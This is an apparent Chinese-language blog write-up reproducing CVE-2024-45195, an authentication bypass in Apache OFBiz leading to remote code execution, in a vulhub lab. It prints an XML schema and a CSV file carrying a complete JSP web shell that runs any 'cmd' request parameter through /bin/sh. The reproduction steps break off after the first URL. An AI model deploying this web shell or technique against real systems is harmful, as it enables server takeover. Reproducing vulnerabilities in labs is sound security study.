【vulhub漏洞复现】Auth Bypass -- Apache OFBiz 身份验证绕过导致远程代码执行(CVE-2024-45195)

本文最后更新于 2026年3月16日 下午

1.漏洞原理

Apache OFBiz是一个开源企业资源规划(ERP)系统。它提供了一套企业应用程序,集成并自动化企业的许多业务流程。

该漏洞是由于之前漏洞(CVE-2024-32113、CVE-2024-36104和CVE-2024-38856)未完全修复所导致。在Apache OFBiz版本18.12.16之前,开发人员对这些先前的问题进行了修复,但控制器视图地图状态不同步的根本问题仍然存在。这使得攻击者能够绕过身份验证并访问敏感的仅限管理员的视图地图。

在复现此漏洞之前,我们需要在自己控制的服务器上部署恶意XML文件和CSV文件。

第一个文件是rceschema.xml,此XML schema文件定义了恶意 JSP 的结构:

1
2
3
4
5
6
7
<data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
<record name="rceentry" limit="many">
<field name="jsp" type="String" length="605" position="0"></field>
</record>
</data-file>
</data-files>

第二个文件是rcereport.csv,此CSV文件包含实际的JSP代码:

1
<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,
  1. rceschema.xml 先告诉 OFBiz:“接下来的 CSV 文件是这个格式的,你按这个规则解析”。
  2. rcereport.csv 再把恶意 JSP 代码伪装成符合该格式的数据,让 OFBiz 在解析时把代码写入服务器。
  3. 最终,攻击者就能通过访问生成的 JSP 文件,实现远程代码执行(RCE)。

2.漏洞复现

访问https://localhost:8443/accounting


【vulhub漏洞复现】Auth Bypass -- Apache OFBiz 身份验证绕过导致远程代码执行(CVE-2024-45195)
http://www.ybyb.org.cn/2026/01/20/【vulhub漏洞复现】Auth-Bypass-Apache-OFBiz-身份验证绕过导致远程代码执行(CVE-2024-45195)/
作者
LHN
发布于
2026年1月20日
许可协议